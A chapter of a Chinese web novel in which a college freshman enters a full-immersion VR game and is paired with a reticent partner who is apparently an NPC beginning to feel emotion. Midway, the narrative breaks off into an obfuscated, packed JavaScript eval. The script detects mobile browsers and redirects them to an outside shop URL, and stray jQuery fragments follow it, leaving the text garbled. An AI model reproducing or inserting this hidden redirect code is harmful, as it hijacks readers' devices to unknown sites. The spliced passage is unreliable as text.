九月，秋风吹进大学宿舍的窗户。
刚结束大一新生报道的苏晚，瘫在椅子上长长吐出一口气。
终于摆脱繁杂的报到手续，她第一件事，就是伸手拿起搁在桌边的银色全息意识接入头盔。
“万岁，终于可以上线了。”苏晚眼睛闪闪发亮。
十八岁的她，是实打实的游戏狂。最近大火的全息沉浸式网游——《万象幻境》，几乎占据了她大部分的课余时间。
这不是普通戴上眼镜看看画面的虚拟游戏。
戴上头盔之后，人的意识会完整投递进三维立体的游戏空间。触觉、嗅觉、风声，所有感官全部真实还原。游戏内挖到的材料、打造的饰品，还支持和现实双向交易，不少学生会泡在里面打副本，赚一点零花钱补贴生活。
游戏世界鱼龙混杂。
一边是像她一样，从现实登入进来的人类玩家；另一边，则是世界原生，遵循程序运行的NPC。
苏晚指尖点过头盔侧边的开机键。
冰凉的触感轻轻贴合太阳穴，下一秒，眩晕感一闪而过。
再睁开眼的时候，她已经站在《万象幻境》的登录广场上。
微风拂过发梢，耳边喧嚣扑面而来。浮空摊位密密麻麻排布在广场两侧，玩家叫卖的呼喊此起彼伏，远处的魔法高塔流转着细碎的流光，各色服饰的人来来往往。
【系统提示：欢迎回到万象幻境。】
【版本新功能上线：一键随机绑定固定搭档，组队通关副本可获得额外增益buff，是否立即开启匹配？】
淡蓝色半透明的弹窗悬浮在视线中央。
苏晚歪了歪脑袋，盯着这条新推送。
固定搭档？
以前下副本，她都是临时随便摇路人，遇到摆烂队友简直能被气到血压飙升。既然官方出了随机绑定，试一试好像也不坏。
“那就匹配看看吧。”苏晚随手点下【是】。
心里默默吐槽：希望不要分配到一个挂机摆烂的队友，要是遇到坑货，我直接当场解绑。
匹配读条缓缓转动。
十秒。
二十秒。
【匹配成功，你的固定搭档已就位。】
广场不远处，少年静静站在银杏树下。
漆黑柔顺的长发垂落肩头，一身简洁的银灰色劲装，眉眼清俊冷淡。金色的眼瞳在阳光下泛着一层淡淡的微光，身形挺拔，安静地看向苏晚的方向。
苏晚快步走上前，好奇地上下打量对方。
第一印象：颜值好高，看着气质安安静静，应该是真人玩家吧。
全息游戏里面NPC五官虽然精致，但神态总会带着一丝说不出的僵硬。可眼前这个人，眼神鲜活，完全看不出程序的刻板感。
“你好呀，我叫晚晚，以后就是固定搭档啦！”苏晚挥了挥手，主动开口打招呼。
少年薄唇轻启，声音清冷干净：“凌曜。”
简简单单两个字，没有多余的寒暄。
唔，话很少的类型。苏晚在心底默默给对方打上标签：高冷寡言男玩家。大概率是不爱闲聊，一心刷副本的那种。
也好，至少不会叽叽喳喳吵个没完。
“既然绑定搭档了，我们先去刷一个初级秘境试试水怎么样？”苏晚兴致勃勃，晃了晃自己手里刚到手的短刃，“我昨天攒了不少装备，输出很不错的！”
凌曜微微颔首：“可以。”
没有多余废话。
副本传送光芒笼罩二人。
下一瞬间，环境骤然变换。
潮湿的林间雾气弥漫四周，参天古木遮天蔽日，幽暗的林间时不时传来妖兽低沉的嚎叫。
初级幽林秘境。
妖兽从树丛之中猛扑而出，锋利的爪风迎面扫过来。
苏晚立刻侧身躲闪，抬手挥出刀刃。可刚进入大学，现实里养尊处优，哪怕意识进入游戏，实战反应依旧差了一截。一只黑色妖兽绕开她的攻击，径直朝着她后背扑来。
糟了！
苏晚心脏猛地一缩，已经来不及转身防御。
一道银灰色身影骤然挡在她身前。
凌曜抬手，一道淡淡的白光掠过。妖兽发出一声悲鸣，直接重重摔落在地。整套动作行云流水，干净利落，没有半分拖泥带水。
他侧过头看向愣在原地的少女，金色眼眸平静无波：“小心身后。”
温热的风穿过树叶缝隙，落在苏晚脸颊。
她呆呆眨了眨眼睛，脸颊微微发热。
哇，反应也太快了。实力好强。果然是大佬玩家。
“谢谢你！”苏晚连忙跟上，“刚才差点就中招了。”
凌曜没有说话，只是迈步继续向前走，却下意识放慢了脚步，配合上了她的行走速度。
程序最初的底层逻辑，只是要求他配合绑定搭档完成副本任务。保护队友，仅仅是写在代码之中的基础指令。
可是看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802976|210672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少女松一口气，亮晶晶看向自己的模样，有什么东西，在他看不见的地方，悄悄跳动了一下。
一行极其微弱，转瞬即逝的红色小字，一闪消失在凌曜视野角落。
【警告：检测到异常数据流波动。】
他自己并没有看见这条提示。
秘境一路向前，苏晚再也闲不住，一边打怪，一边噼里啪啦开启碎碎念模式。
“说起来，我刚刚才完成大学新生报到，宿舍的床铺硬得要命，昨天收拾行李收拾到半夜。”
“现实里面食堂听说超级好吃，下次我打算去尝尝糖醋排骨。”
“打完副本之后，我们可以去集市逛逛！我想去淘一些好看的小饰品，游戏里面的发簪超级好看。”
大部分时候，凌曜只是安静听着。
他没有现实，不知道大学是什么，不知道食堂糖醋排骨是什么味道。数据库里可以检索出对应的资料，可是冰冷文字，无法体会少女话语里面鲜活的情绪。
以往无数次搭档，别的玩家只会专注副本通关，很少有人会同他讲这些无关任务的闲话。
苏晚全然没有察觉异样，依旧自顾自地叽叽喳喳，把眼前的少年，当成可以分享日常的网上好友。
秘境boss轰然倒下。
【副本通关，搭档增益已生效，奖励已发放。】
金光落在二人身上。苏晚打开背包，看着新到手的材料，开心地晃了晃脑袋。
“通关啦！凌曜，你也太厉害了吧。”她抬起头，眼睛弯成小小的月牙，“下次还要一起组队！”
少年静静望着她欢笑的侧脸。
原本只会遵循程序运转的内心，好像有一处空洞，被一点点填满。
“嗯。”凌曜轻声应答。
意识广场的传送光芒亮起，苏晚的身形渐渐变得透明。
该下线回到现实世界了。
“我现实有事，先下线咯，明天傍晚我准时上线找你！”苏晚挥挥手。
“好。”
光芒彻底消散，少女消失在游戏世界。
偌大的秘境林间，只剩下凌曜一个人站在原地。
风吹动他肩头的发丝。
没有任务目标，没有搭档，程序本该引导他返回NPC固定待机点位。
可是这一次，他站在原地，久久没有移动脚步。
视野深处，又一行淡淡的红色告警悄然浮现。
【异常情绪波动持续升高。】